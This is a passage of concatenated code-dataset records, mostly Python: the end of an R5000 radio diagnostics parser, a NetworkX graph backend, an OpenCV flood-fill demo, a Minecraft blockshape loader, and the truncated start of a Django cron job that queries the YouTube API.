pattern_set_sw_mode_trunk = re.compile(r'trunk on')\n pattern_set_sw_mode_intrunk = re.compile(r'in-trunk (\\d+)')\n pattern_set_sw_mode_upstream = re.compile(r'upstream')\n pattern_set_sw_mode_downstream = re.compile(r'downstream')\n pattern_set_sw_rule = re.compile(r'switch group \\d+ rule \\d+\\s+(permit|deny) match (\\w+)')\n pattern_set_sw_rule_list = re.compile(r'switch list (\\w+) match add ([\\w\\d\\-,\\s\\S]+)')\n pattern_set_sw_rule_default = re.compile(r'switch group \\d+ (deny|permit)')\n pattern_set_sw_rule_vlan = re.compile(r'switch group \\d+ (vlan [\\d\\-,]+)')\n pattern_set_sw_mngt = re.compile(r'svi (\\d+) group (\\d+)')\n\n rule_list = {}\n for line in sw_settings_text_cut:\n if pattern_set_sw_rule_list.search(line):\n pattern = pattern_set_sw_rule_list.search(line)\n rule_name = pattern.group(1)\n rule_list[rule_name] = pattern.group(2).replace('\\'', '').replace('\\r', '').replace('\\n', '')\n\n for key in switch_settings['Switch Group']:\n group = switch_settings['Switch Group'][key]\n check_rule = False\n for line in sw_settings_text[key]:\n if pattern_set_sw_order.search(line):\n group['Order'] = pattern_set_sw_order.search(line).group(1)\n\n if pattern_set_sw_ifc.search(line):\n group['Interfaces'] = pattern_set_sw_ifc.search(line).group(1).split(' ')\n # Drop '\\r'\n group['Interfaces'].pop()\n group['Interfaces'] = ', '.join(group['Interfaces'])\n\n if pattern_set_sw_flood.search(line):\n group['Flood'] = 'Enabled'\n\n if pattern_set_sw_stp.search(line):\n group['STP'] = 'Enabled'\n\n if pattern_set_sw_mode_trunk.search(line):\n group['Mode'] = 'Trunk'\n elif pattern_set_sw_mode_intrunk.search(line):\n group['Mode'] = f'In-Trunk {pattern_set_sw_mode_intrunk.search(line).group(1)}'\n elif pattern_set_sw_mode_upstream.search(line):\n group['Mode'] = 'Upstream'\n elif pattern_set_sw_mode_downstream.search(line):\n group['Mode'] = 'Downstream'\n\n if pattern_set_sw_rule_vlan.search(line):\n group['Rules'] = f'permit: {pattern_set_sw_rule_vlan.search(line).group(1)}; deny: any any'\n\n if pattern_set_sw_rule.search(line):\n rule_action = pattern_set_sw_rule.search(line).group(1)\n rule = pattern_set_sw_rule.search(line).group(2)\n check_rule = True\n\n if pattern_set_sw_rule_default.search(line):\n rule_default = pattern_set_sw_rule_default.search(line).group(1)\n\n if check_rule:\n if rule in rule_list.keys():\n group['Rules'] = f'{rule_action}: {rule} ({rule_list[rule]}); {rule_default}: any any'\n else:\n group['Rules'] = f'{rule_action}: {rule} ; {rule_default}: any any'\n\n for line in sw_settings_text_cut:\n if pattern_set_sw_mngt.search(line):\n group = pattern_set_sw_mngt.search(line).group(2)\n switch_settings['Switch Group'][group]['Management'] = 'Enabled'\n\n except:\n logger.warning('Switch settings were not parsed')\n\n logger.debug(f'Switch Settings: {settings[\"Switch\"]}')\n\n # Interface Settings\n try:\n pattern_start = re.compile(r'#Interfaces parameters')\n pattern_end = re.compile(r'#QoS manager')\n ifc_settings_text = cut_text(settings_text, pattern_start, pattern_end, 1, -1)\n\n pattern_set_ifc = re.compile(r'ifc (eth\\d+|rf5\\.0)')\n for line in ifc_settings_text:\n if pattern_set_ifc.search(line):\n interface = pattern_set_ifc.search(line).group(1)\n if 'up' in line:\n settings['Interface Status'][interface] = 'up'\n\n except:\n logger.warning('Interface Settings were not parsed')\n\n logger.debug(f'Interface Settings: {settings[\"Interface Status\"]}')\n\n # QoS Settings\n try:\n pattern_start = re.compile(r'#QoS manager')\n pattern_end = re.compile(r'#MINT configuration')\n qm_settings_text_cut = cut_text(settings_text, pattern_start, pattern_end, 1, -1)\n\n pattern_set_qm_channel = re.compile(r'qm (ch\\d+)')\n slices = []\n channels = []\n for index, line in enumerate(qm_settings_text_cut):\n if pattern_set_qm_channel.search(line):\n slices.append(index)\n channels.append(pattern_set_qm_channel.search(line).group(1))\n slices.append(len(qm_settings_text_cut))\n qm_settings_text = dict(zip(channels, slice_text(qm_settings_text_cut, slices)))\n\n pattern_set_qm_options = re.compile(r'qm option ([\\w\\s]+)')\n\n for line in qm_settings_text_cut:\n if pattern_set_qm_options.search(line):\n pattern = pattern_set_qm_options.search(line).group(1).replace('\\r', '').replace('\\n', '')\n qos_settings['Options'] = pattern.replace(' ', ', ')\n\n qos_settings['Rules'] = {channel: None for channel in qm_settings_text.keys()}\n for channel, text in qm_settings_text.items():\n qos_settings['Rules'][channel] = '; '.join(text).replace('\\r', '').replace('\\n', '')\n\n pattern_start = re.compile(r\"License 'Factory License'\")\n pattern_end = re.compile(r'')\n license_text = cut_text(dc_list, pattern_start, pattern_end, 0, -1)\n\n pattern_set_qm_throughput = re.compile(r'MaximumTransmitRate=\"(\\d+)\"')\n\n qos_settings['License'] = {}\n for line in license_text:\n if pattern_set_qm_throughput.search(line):\n qos_settings['License']['Throughput'] = pattern_set_qm_throughput.search(line).group(1)\n\n except:\n logger.warning('QoS settings were not parsed')\n\n logger.debug(f'QoS Settings: {settings[\"QoS\"]}')\n\n # Radio Status\n link_status = {'Name': None, 'Level Rx': None, 'Level Tx': None, 'Bitrate Rx': None, 'Bitrate Tx': None,\n 'Load Rx': None, 'Load Tx': None, 'PPS Rx': None, 'PPS Tx': None, 'Cost': None, 'Retry Rx': None,\n 'Retry Tx': None, 'Power Rx': None, 'Power Tx': None, 'RSSI Rx': None, 'RSSI Tx': None,\n 'SNR Rx': None, 'SNR Tx': None, 'Distance': None, 'Firmware': None, 'Uptime': None}\n radio_status = {'Links': None, 'Pulses': None, 'Interference Level': None, 'Interference RSSI': None,\n 'Interference PPS': None, 'RX Medium Load': None, 'TX Medium Load': None,\n 'Total Medium Busy': None, 'Excessive Retries': None, 'Aggr Full Retries': None,\n 'Current Frequency': None}\n\n try:\n pattern_rs_mac = re.compile(r'(00[\\dA-F]{10})')\n pattern_rs_prf = re.compile(r'(join|prf)')\n pattern_rs_name = re.compile(r'[\\.\\d]+\\s+([\\w\\d\\S \\-]+)\\s+00[\\dA-F]{10}')\n pattern_rs_spaces = re.compile(r\"(\\s{2,})\")\n pattern_rs_level = re.compile(r'00[\\w\\d]+\\s+(\\d+)/(\\d+)')\n pattern_rs_bitrate = re.compile(r'00[\\w\\d]+\\s+\\d+/\\d+\\s+(\\d+)/(\\d+)')\n pattern_rs_retry = re.compile(r'00[\\w\\d]+\\s+\\d+/\\d+\\s+\\d+/\\d+\\s+(\\d+)/(\\d+)')\n pattern_rs_load = re.compile(r'load (\\d+)/(\\d+)')\n pattern_rs_pps = re.compile(r'pps (\\d+)/(\\d+)')\n pattern_rs_cost = re.compile(r'cost ([\\-\\d+\\.]+)')\n pattern_rs_pwr = re.compile(r'pwr ([\\*\\-\\d+\\.]+)/([\\*\\-\\d+\\.]+)')\n pattern_rs_rssi = re.compile(r'rssi ([\\*\\-\\d+\\.]+)/([\\*\\-\\d+\\.]+)')\n pattern_rs_rssi_rf_scanner = re.compile(r'\\d+\\/([\\-\\d]+)')\n pattern_rs_snr = re.compile(r'snr (\\d+)/(\\d+)')\n pattern_rs_distance = re.compile(r'dist ([\\.\\d+]+)')\n pattern_rs_firmware = re.compile(r'(H\\d{2}v[v\\d.]+)')\n pattern_rs_uptime = re.compile(r'up ([\\d\\w :]*)')\n\n # Find mint map det text\n pattern_start = re.compile(r'Id\\s+Name\\s+Node\\s+Level')\n pattern_end = re.compile(r'Total nodes in area')\n links_text = cut_text(dc_list, pattern_start, pattern_end, 1, -1)\n\n # Find each string contains MAC\n slices = []\n for index, line in enumerate(links_text):\n if pattern_rs_mac.search(line):\n slices.append(index)\n slices.append(len(links_text))\n\n links = slice_text(links_text, slices)\n\n # Need to remove prf and join links\n temp = []\n for link in links:\n if not pattern_rs_prf.search(link[0]):\n temp.append(link)\n links = temp\n\n # Create dictionary from the links arrange. MAC-addresses are keys\n radio_status['Links'] = {mac: deepcopy(link_status) for mac in\n [pattern_rs_mac.search(link[0]).group(1) for link in links]}\n\n # Fill the link_status variable for each link\n for mac in radio_status['Links']:\n for index, link in enumerate(links):\n if mac == pattern_rs_mac.search(link[0]).group(1):\n link = ''.join(link)\n\n name = pattern_rs_name.search(link).group(1)\n spaces = pattern_rs_spaces.search(name).group(1)\n radio_status['Links'][mac]['Name'] = name.replace(spaces, '')\n\n if pattern_rs_level.search(link):\n radio_status['Links'][mac]['Level Rx'] = pattern_rs_level.search(link).group(1)\n radio_status['Links'][mac]['Level Tx'] = pattern_rs_level.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: Level was not parsed')\n\n if pattern_rs_bitrate.search(link):\n radio_status['Links'][mac]['Bitrate Rx'] = pattern_rs_bitrate.search(link).group(1)\n radio_status['Links'][mac]['Bitrate Tx'] = pattern_rs_bitrate.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: Bitrate was not parsed')\n\n if pattern_rs_retry.search(link):\n radio_status['Links'][mac]['Retry Rx'] = pattern_rs_retry.search(link).group(1)\n radio_status['Links'][mac]['Retry Tx'] = pattern_rs_retry.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: Retry was not parsed')\n\n if pattern_rs_load.search(link):\n radio_status['Links'][mac]['Load Rx'] = pattern_rs_load.search(link).group(1)\n radio_status['Links'][mac]['Load Tx'] = pattern_rs_load.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: Load was not parsed')\n\n if pattern_rs_pps.search(link):\n radio_status['Links'][mac]['PPS Rx'] = pattern_rs_pps.search(link).group(1)\n radio_status['Links'][mac]['PPS Tx'] = pattern_rs_pps.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: PPS was not parsed')\n\n if pattern_rs_cost.search(link):\n radio_status['Links'][mac]['Cost'] = pattern_rs_cost.search(link).group(1)\n else:\n logger.debug(f'Link {mac}: Cost was not parsed')\n\n if pattern_rs_pwr.search(link):\n radio_status['Links'][mac]['Power Rx'] = pattern_rs_pwr.search(link).group(1)\n radio_status['Links'][mac]['Power Tx'] = pattern_rs_pwr.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: Power was not parsed')\n\n if pattern_rs_snr.search(link):\n radio_status['Links'][mac]['SNR Rx'] = pattern_rs_snr.search(link).group(1)\n radio_status['Links'][mac]['SNR Tx'] = pattern_rs_snr.search(link).group(2)\n else:\n logger.debug(f'Link {mac}: SNR was not parsed')\n\n if pattern_rs_distance.search(link):\n radio_status['Links'][mac]['Distance'] = pattern_rs_distance.search(link).group(1)\n else:\n logger.debug(f'Link {mac}: Distance was not parsed')\n\n if pattern_rs_firmware.search(link):\n radio_status['Links'][mac]['Firmware'] = pattern_rs_firmware.search(link).group(1)\n else:\n logger.debug(f'Link {mac}: Firmware was not parsed')\n\n if pattern_rs_uptime.search(link):\n radio_status['Links'][mac]['Uptime'] = pattern_rs_uptime.search(link).group(1)\n else:\n logger.debug(f'Link {mac}: Uptime was not parsed')\n\n # MINT firmare does not contain RSSI in the mint map det text\n if 'TDMA' in firmware and pattern_rs_rssi.search(link):\n radio_status['Links'][mac]['RSSI Rx'] = pattern_rs_rssi.search(link).group(1)\n radio_status['Links'][mac]['RSSI Tx'] = pattern_rs_rssi.search(link).group(2)\n elif 'TDMA' in firmware and pattern_rs_rssi.search(link):\n logger.debug(f'Link {mac}: RSSI was not parsed')\n\n pattern_start = re.compile(r'rf5.0 Source Analysis')\n pattern_end = re.compile(r'rf5.0: NOL is empty')\n rf_scanner_text = cut_text(dc_list, pattern_start, pattern_end, 2, 0)\n\n # Get RSSI from muffer (MINT only)\n for mac in radio_status['Links']:\n for line in rf_scanner_text:\n if pattern_rs_mac.search(line) \\\n and mac == pattern_rs_mac.search(line).group(1) \\\n and 'MINT' in firmware:\n radio_status['Links'][mac]['RSSI Rx'] = pattern_rs_rssi_rf_scanner.search(line).group(1)\n\n # Fill the radio_status variable\n pattern_rs_pulses = re.compile(r'Pulses: (\\d+)')\n pattern_rs_pulses_level = re.compile(r'level\\s+(\\d+)')\n pattern_rs_pulses_rssi = re.compile(r'level\\s+\\d+\\s+\\(([\\-\\d]+)\\)')\n pattern_rs_pulses_pps = re.compile(r'pps ([\\.\\d]+)')\n pattern_rs_rx_load = re.compile(r'RX Medium Load\\s+([\\d\\.]+%)')\n pattern_rs_tx_load = re.compile(r'TX Medium Load\\s+([\\d\\.]+%)')\n pattern_rs_total_load = re.compile(r'Total Medium Busy\\s+([\\d\\.]+%)')\n pattern_rs_ex_retries = re.compile(r'Excessive Retries\\s+(\\d+)')\n pattern_rs_af_retries = re.compile(r'Aggr Full Retries\\s+(\\d+)')\n pattern_rs_cur_freq = re.compile(r'\\(band \\d+, freq (\\d+)\\)')\n\n for line in rf_scanner_text:\n if pattern_rs_pulses.search(line):\n radio_status['Pulses'] = pattern_rs_pulses.search(line).group(1)\n\n if pattern_rs_pulses_level.search(line):\n radio_status['Interference Level'] = pattern_rs_pulses_level.search(line).group(1)\n\n if pattern_rs_pulses_rssi.search(line):\n radio_status['Interference RSSI'] = pattern_rs_pulses_rssi.search(line).group(1)\n\n if pattern_rs_pulses_pps.search(line):\n radio_status['Interference PPS'] = pattern_rs_pulses_pps.search(line).group(1)\n\n pattern_start = re.compile(r'rf5.0 Statistics')\n pattern_end = re.compile(r'Software Priority Queues')\n rf_stat_text = cut_text(dc_list, pattern_start, pattern_end, 3, -2)\n\n for line in rf_stat_text:\n if pattern_rs_rx_load.search(line):\n radio_status['RX Medium Load'] = pattern_rs_rx_load.search(line).group(1)\n\n if pattern_rs_tx_load.search(line):\n radio_status['TX Medium Load'] = pattern_rs_tx_load.search(line).group(1)\n\n if pattern_rs_total_load.search(line):\n radio_status['Total Medium Busy'] = pattern_rs_total_load.search(line).group(1)\n\n if pattern_rs_ex_retries.search(line):\n radio_status['Excessive Retries'] = pattern_rs_ex_retries.search(line).group(1)\n\n if pattern_rs_af_retries.search(line):\n radio_status['Aggr Full Retries'] = pattern_rs_af_retries.search(line).group(1)\n\n if pattern_rs_cur_freq.search(line):\n radio_status['Current Frequency'] = pattern_rs_cur_freq.search(line).group(1)\n\n except:\n logger.warning('Radio Status was not parsed')\n\n logger.debug(f'Radio Status: {radio_status}')\n\n # Ethernet Status\n ethernet_statuses = {'Status': 'down', 'Speed': None, 'Duplex': None, 'Negotiation': None, 'Rx CRC': 0,\n 'Tx CRC': 0}\n ethernet_status = {'eth0': ethernet_statuses, 'eth1': deepcopy(ethernet_statuses)}\n\n try:\n pattern_start = re.compile(r'eth0: flags=')\n pattern_end = re.compile(r'Name\\s+Network')\n ifc_stat_text = cut_text(dc_list, pattern_start, pattern_end, 0, -2)\n\n slices = []\n for index, line in enumerate(ifc_stat_text):\n if line.startswith('eth0: flags'):\n slices.append(index)\n slices.append(index + 36)\n elif line.startswith('eth1: flags'):\n slices.append(index)\n slices.append(index + 36)\n\n interfaces_text = slice_text(ifc_stat_text, slices)\n\n # Parse interfaces\n pattern_es_ifc = re.compile(r'([\\w\\d]+): flags')\n pattern_es_status = re.compile(r'Physical link is (\\w+)')\n pattern_es_speed = re.compile(r'Physical link is \\w+, (\\d+) Mbps')\n pattern_es_duplex = re.compile(r'Physical link is \\w+, \\d+ Mbps\\s+(\\w+)-duplex')\n pattern_es_autoneg = re.compile(r'Physical link is \\w+, \\d+ Mbps\\s+\\w+-duplex, (\\w+)')\n pattern_es_crc = re.compile(r'CRC errors\\s+(\\d+)')\n\n for interface_text in interfaces_text:\n for line in interface_text:\n if pattern_es_ifc.search(line):\n interface = pattern_es_ifc.search(line).group(1)\n\n if pattern_es_status.search(line):\n ethernet_status[interface]['Status'] = str.lower(pattern_es_status.search(line).group(1))\n\n if pattern_es_speed.search(line):\n ethernet_status[interface]['Speed'] = pattern_es_speed.search(line).group(1)\n\n if pattern_es_duplex.search(line):\n ethernet_status[interface]['Duplex'] = pattern_es_duplex.search(line).group(1)\n\n if pattern_es_autoneg.search(line):\n ethernet_status[interface]['Negotiation'] = pattern_es_autoneg.search(line).group(1)\n\n if len(pattern_es_crc.findall(line)) == 2:\n ethernet_status[interface]['Rx CRC'] = pattern_es_crc.findall(line)[0]\n ethernet_status[interface]['Tx CRC'] = pattern_es_crc.findall(line)[1]\n elif len(pattern_es_crc.findall(line)) == 1:\n ethernet_status[interface]['Rx CRC'] = pattern_es_crc.findall(line)[0]\n ethernet_status[interface]['Tx CRC'] = 0\n\n except:\n logger.warning('Ethernet Status was not parsed')\n\n logger.debug(f'Ethernet Status: {ethernet_status}')\n\n # Switch Status\n try:\n pattern_start = re.compile(r'Switch statistics:')\n pattern_end = re.compile(r'DB Records')\n sw_stat_text = ''.join(cut_text(dc_list, pattern_start, pattern_end, 6, -2))\n\n pattern_ss_stat = re.findall(r'(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)\\s+'\n r'>?(\\d+)', sw_stat_text)\n\n switch_status = {pattern_ss_stat[id][0]: sw_group[1:] for id, sw_group in enumerate(pattern_ss_stat)}\n for id, status in switch_status.items():\n switch_status[id] = {}\n switch_status[id]['Unicast'] = int(status[0])\n switch_status[id]['Bcast'] = int(status[1])\n switch_status[id]['Flood'] = int(status[2])\n switch_status[id]['STPL'] = int(status[3])\n switch_status[id]['UNRD'] = int(status[4])\n switch_status[id]['FRWL'] = int(status[5])\n switch_status[id]['LOOP'] = int(status[6])\n switch_status[id]['DISC'] = int(status[7])\n switch_status[id]['BACK'] = int(status[8])\n except:\n logger.warning('Switch Status was not parsed')\n\n logger.debug(f'Switch Status: {switch_status}')\n\n # QoS status\n try:\n pattern_start = re.compile(r'Software Priority Queues rf5.0')\n pattern_end = re.compile(r'Phy errors: total \\d+')\n qos_stat_text = ''.join(cut_text(dc_list, pattern_start, pattern_end, 0, 1))\n\n pattern_qs_stat = re.findall(r'(q\\d+)\\s+(\\((P\\d+)\\))?(\\s+\\(cos\\d\\))?\\s+(\\d+)\\s+\\/\\s+(\\d+)?', qos_stat_text)\n qos_status = {channel[0]: channel[2:] for channel in pattern_qs_stat}\n for channel, status in qos_status.items():\n qos_status[channel] = {}\n qos_status[channel]['Prio'] = status[0]\n qos_status[channel]['Count'] = status[2]\n if status[3] != '':\n qos_status[channel]['Drops'] = status[3]\n else:\n qos_status[channel]['Drops'] = '777'\n except:\n logger.warning('QoS status was not parsed')\n\n logger.debug(f'QoS Status: {qos_status}')\n\n # Prepare result to create a class instance\n result = (model, subfamily, serial_number, firmware,\n uptime, reboot_reason, dc_list, dc_string,\n settings, radio_status, ethernet_status,\n switch_status, qos_status)\n\n return result\n\n\nlogger = logging.getLogger('logger.parser_r5000')\n","sub_path":"scripts/parsers/parser_r5000.py","file_name":"parser_r5000.py","file_ext":"py","file_size_in_byte":41575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"534728156","text":"from collections import defaultdict\n\nimport networkx as nx\nfrom typing import Optional\nfrom beagle.common import logger\nfrom beagle.nodes import Node\nfrom beagle.backends.base_backend import Backend\n\n\nclass NetworkX(Backend):\n \"\"\"NetworkX based backend. Other backends can subclass this backend in order to have access\n to the underlying NetworkX object.\n\n While inserting the Nodes into the graph, the NetworkX object does the following:\n\n 1. If the ID of this node (calculated via `Node.__hash__`) is already in the graph, the node is\n updated with any properties which are in the new node but not the existing node.\n\n 2. If we are inserting the an edge type that already exists between two\n nodes `u` and `v`, the edge data is combined.\n\n Notes\n ---------\n In `networkx`, adding the same node twice keeps the latest version of the node. Since\n a node that represents the same thing may appear twice in a log (for example, the same\n process might appear in a process creation event and a file write event).\n It's easier to simply update the nodes as you iterate over the `nodes` attribute.\n\n Parameters\n ----------\n metadata : dict, optional\n The metadata from the datasource.\n consolidate_edges: boolean, optional\n Controls if edges are consolidated. That is, if the edge of type q from u to v happens N times,\n should there be one edge from u to v with type q, or should there be N edges.\n\n Notes\n -------\n Putting\n \"\"\"\n\n def __init__(\n self, metadata: dict = {}, consolidate_edges: bool = False, *args, **kwargs\n ) -> None:\n\n self.metadata = metadata\n self.consolidate_edges = consolidate_edges\n self.G = nx.MultiDiGraph(metadata=metadata)\n super().__init__(*args, **kwargs)\n\n logger.info(\"Initialized NetworkX Backend\")\n\n @logger.catch\n def graph(self) -> nx.MultiDiGraph:\n \"\"\"Generates the MultiDiGraph.\n\n Places the nodes in the Graph.\n\n Returns\n -------\n nx.MultiDiGraph\n The generated NetworkX object.\n \"\"\"\n\n logger.info(\"Beginning graph generation.\")\n\n for node in self.nodes:\n node_id = hash(node)\n self.insert_node(node, node_id)\n\n logger.info(\"Completed graph generation.\")\n logger.info(f\"Graph contains {len(self.G.nodes())} nodes and {len(self.G.edges())} edges.\")\n\n return self.G\n\n def insert_node(self, node: Node, node_id: int) -> None:\n \"\"\"Inserts a node into the graph, as well as all edges outbound from it.\n\n If a node with `node_id` already exists, the node data is updated using\n :py:meth:`update_node`.\n\n Parameters\n ----------\n node : Node\n Node object to insert\n no`de_id : int\n The ID of the node (`hash(node)`)\n \"\"\"\n\n if node_id not in self.G.nodes:\n self.G.add_node(node_id, data=node)\n else:\n self.update_node(node, node_id)\n\n for edge_dict in node.edges:\n for dest_node, edge_data in edge_dict.items():\n # If there's no data on the edges, insert at least one to represent\n # the edge exists\n if len(edge_data._events) == 0:\n self.insert_edge(\n u=node, # Source node\n v=dest_node, # Dest Node\n edge_name=edge_data.__name__, # Edge name\n data=None,\n )\n else:\n # Otherwise, insert all the edge instances.\n for entry in getattr(edge_data, \"_events\", [None]):\n self.insert_edge(\n u=node, # Source node\n v=dest_node, # Dest Node\n edge_name=edge_data.__name__, # Edge name\n data=entry,\n )\n\n def insert_edge(self, u: Node, v: Node, edge_name: str, data: Optional[dict]) -> None:\n \"\"\"Insert an edge from `u` to `v` with type `edge_name` that contains data\n `data`.\n\n If the edge already exists, the data entry is appended to the existing data\n array.\n\n This results in a single edge between `u` and `v` per `edge_name`. And each\n occurence of that edge is represented by an entry in the `data` list.\n\n Parameters\n ----------\n u : Node\n Source Node object\n v : Node\n Destination Node object\n edge_name : str\n Edge Name\n data : dict\n Data entry to place on this edge.\n \"\"\"\n\n u_id = hash(u)\n v_id = hash(v)\n\n if v_id in self.G.nodes:\n self.update_node(v, v_id)\n else:\n # First time, make an array.\n self.G.add_node(v_id, data=v)\n\n # If we consolidate edges, the key is the edge name, and we update the data.\n if self.consolidate_edges:\n curr = self.G.get_edge_data(u=u_id, v=v_id, key=edge_name, default=None)\n if curr is None:\n self.G.add_edge(\n u_for_edge=u_id,\n v_for_edge=v_id,\n key=edge_name,\n data=([data] if data else []),\n edge_name=edge_name,\n )\n elif data:\n curr = curr[\"data\"]\n curr.append(data)\n nx.set_edge_attributes(\n self.G, {(u_id, v_id, edge_name): {\"data\": curr, \"edge_name\": edge_name}}\n )\n\n # Otherwise, they key is assigned from NetworkX, and we add the edge type as a label:\n else:\n self.G.add_edge(\n u_for_edge=u_id, v_for_edge=v_id, data=([data] if data else []), edge_name=edge_name\n )\n\n def update_node(self, node: Node, node_id: int) -> None:\n \"\"\"Update the attributes of a node. Since we may see the same Node in multiple events,\n we want to have the largest coverage of its attributes.\n * See :class:`beagle.nodes.node.Node` for how we determine two nodes are the same.\n\n This method updates the node already in the graph with the newest attributes\n from the passed in parameter `Node`\n\n Parameters\n ----------\n node : Node\n The Node object to use to update the node already in the graph\n node_id : int\n The hash of the Node. see :py:meth:`beagle.nodes.node.__hash__`\n\n \"\"\"\n\n current_data = self.G.nodes[node_id][\"data\"]\n\n for key, value in node.__dict__.items():\n\n # NOTE: Skips edge combination because edge data is\n # added anyway in self.insert_node()\n if isinstance(value, defaultdict):\n continue\n\n # Always use the latest value.\n if value:\n setattr(current_data, key, value)\n\n nx.set_node_attributes(self.G, {node_id: {\"data\": current_data}})\n\n def to_json(self) -> dict:\n \"\"\"Convert the graph to JSON, which can later be used be read in using\n networkx::\n\n >>> backend = NetworkX(nodes=nodes)\n >>> G = backend.graph()\n >>> data = G.to_json()\n >>> parsed = networkx.readwrite.json_graph.node_link_graph(data)\n\n Returns\n -------\n dict\n node_link compatible version of the graph.\n \"\"\"\n\n def node_to_json(node_id: int, node: Node) -> dict:\n return {\n \"id\": node_id,\n \"properties\": node.to_dict(),\n \"_node_type\": node.__name__,\n \"_display\": node._display,\n \"_color\": node.__color__,\n }\n\n def edge_to_json(edge_id: int, u: int, v: int, edge_key: str, edge_props: dict) -> dict:\n return {\n \"id\": edge_id,\n \"source\": u,\n \"target\": v,\n \"type\": edge_props[\"edge_name\"],\n \"properties\": {\"data\": edge_props[\"data\"]},\n }\n\n relationships = [\n edge_to_json(\n index + 1, # Unique ID based on index.\n edge[0], # Source node (u)\n edge[1], # Destination node (v)\n edge[2], # Edge type (e.g \"wrote\")\n edge[3], # Edge data\n )\n for index, edge in enumerate(self.G.edges(data=True, keys=True))\n ]\n\n nodes = [\n node_to_json(node, node_data[\"data\"]) for node, node_data in self.G.nodes(data=True)\n ]\n\n return {\n \"directed\": self.G.is_directed(),\n \"multigraph\": self.G.is_multigraph(),\n \"nodes\": nodes,\n \"links\": relationships,\n }\n","sub_path":"beagle/backends/networkx.py","file_name":"networkx.py","file_ext":"py","file_size_in_byte":8838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"234697877","text":"import cv2\nimport numpy as np\nimport show_imgs as si\nIMG_PATH = \"../sample_imgs\"\n\ndef fill_lake():\n srcimg = cv2.imread(IMG_PATH + \"/sinjeong-lake.jpg\", cv2.IMREAD_COLOR)\n images = {\"original\": srcimg}\n seed = (int(srcimg.shape[1]/2), int(srcimg.shape[0]/2))\n # 아무 처리하지 않고 바로 호수에 flood fill 적용\n fill_direct = srcimg.copy()\n mask = np.zeros((srcimg.shape[0]+2, srcimg.shape[1]+2), dtype=np.uint8)\n retval, fill_direct, mask, rect = \\\n cv2.floodFill(fill_direct, mask, seed, newVal=(0, 255, 255),\n loDiff=(2, 2, 2), upDiff=(2, 2, 2), flags=8)\n print(f\"pixel area of lake WITHOUT preprocess={retval}, rect={rect}\")\n fill_direct = cv2.circle(fill_direct, seed, 1, (0,0,255), 2)\n images[\"direct_floodfill\"] = fill_direct\n # flood fill이 잘 퍼지도록 블러링 후 적용\n fill_blur = srcimg.copy()\n fill_blur = cv2.GaussianBlur(fill_blur, (3,3), 0)\n fill_blur = cv2.medianBlur(fill_blur, 3)\n mask = np.zeros((srcimg.shape[0] + 2, srcimg.shape[1] + 2), dtype=np.uint8)\n retval, fill_blur, mask, rect = \\\n cv2.floodFill(fill_blur, mask, seed, newVal=(0, 255, 255),\n loDiff=(2, 2, 2), upDiff=(2, 2, 2), flags=8 | (255 << 8))\n print(f\"pixel area of lake WITH preprocess= {retval}, rect={rect}\")\n fill_blur = cv2.circle(fill_blur, seed, 1, (0,0,255), 2)\n images[\"blur_n_floodfill\"] = fill_blur\n # 결과 출력\n images[\"final mask\"] = cv2.cvtColor(mask[1:-1, 1:-1], cv2.COLOR_GRAY2BGR)\n result_img = si.show_imgs(images, \"fill the lake\", 2)\n\nif __name__ == \"__main__\":\n fill_lake()","sub_path":"opencv-class/segmentation/fill_lake.py","file_name":"fill_lake.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"567450160","text":"import importlib\nimport pkgutil\nimport minecraft_model_reader\n\nfrom .base_blockshape import BaseBlockShape\n\nBlockShapeClasses = {}\n_class_names = set()\n\n\ndef _load_blockshape(module_name: str):\n blockshape_module = importlib.import_module(module_name)\n if hasattr(blockshape_module, \"BlockShape\"):\n blockshape = getattr(blockshape_module, \"BlockShape\")\n if isinstance(blockshape, BaseBlockShape):\n if blockshape.blockshape in BlockShapeClasses:\n print(f\"Name conflict with blockshape {blockshape.blockshape}\")\n if blockshape.__class__.__name__ in _class_names:\n print(f\"Duplicate class name {blockshape.__class__.__name__}\")\n else:\n _class_names.add(blockshape.__class__.__name__)\n BlockShapeClasses[blockshape.blockshape] = blockshape\n\n\ndef _load_blockshapes():\n package_prefix = __name__ + \".\"\n\n # python file support\n for _, name, _ in pkgutil.walk_packages(__path__, package_prefix):\n _load_blockshape(name)\n\n # pyinstaller support\n toc = set()\n for importer in pkgutil.iter_importers(minecraft_model_reader.__name__):\n if hasattr(importer, \"toc\"):\n toc |= importer.toc\n for module_name in toc:\n if module_name.startswith(package_prefix):\n _load_blockshape(module_name)\n\n\n_load_blockshapes()\n","sub_path":"minecraft_model_reader/api/resource_pack/bedrock/blockshapes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"74723323","text":"from django.conf import settings\nimport os\nfrom django_cron import CronJobBase, Schedule\nimport requests\nfrom requests.models import Response\nfrom datetime import datetime, timedelta\n\n# Client library for Google's discovery based APIs\n# Constructs a Resource object for interacting with the Google APIs.\nfrom apiclient.discovery import build\nimport apiclient\n\nfrom .models import Videos\n\n\n# CronJob to call the YouTube API request every 5 mins\nclass YoutubeApiRequest(CronJobBase):\n RUN_EVERY_MINS = 5 # runs after every 5 minutes\n schedule = Schedule(run_every_mins=RUN_EVERY_MINS)\n code = \"api.youtube_api_request\"\n\n def do(self):\n def get_update_timestamp():\n # Returns a timestamp for 5 mins ago\n return datetime.now() - timedelta(minutes=5)\n\n # See : https://github.com/youtube/api-samples/blob/master/python/search.py\n YOUTUBE_API_SERVICE_NAME = 'youtube'\n YOUTUBE_API_VERSION = 'v3'\n search_query = settings.BACKGROUND_UPDATE[\"search_query1\"]\n API_KEYS = settings.API_KEY\n maxResults = 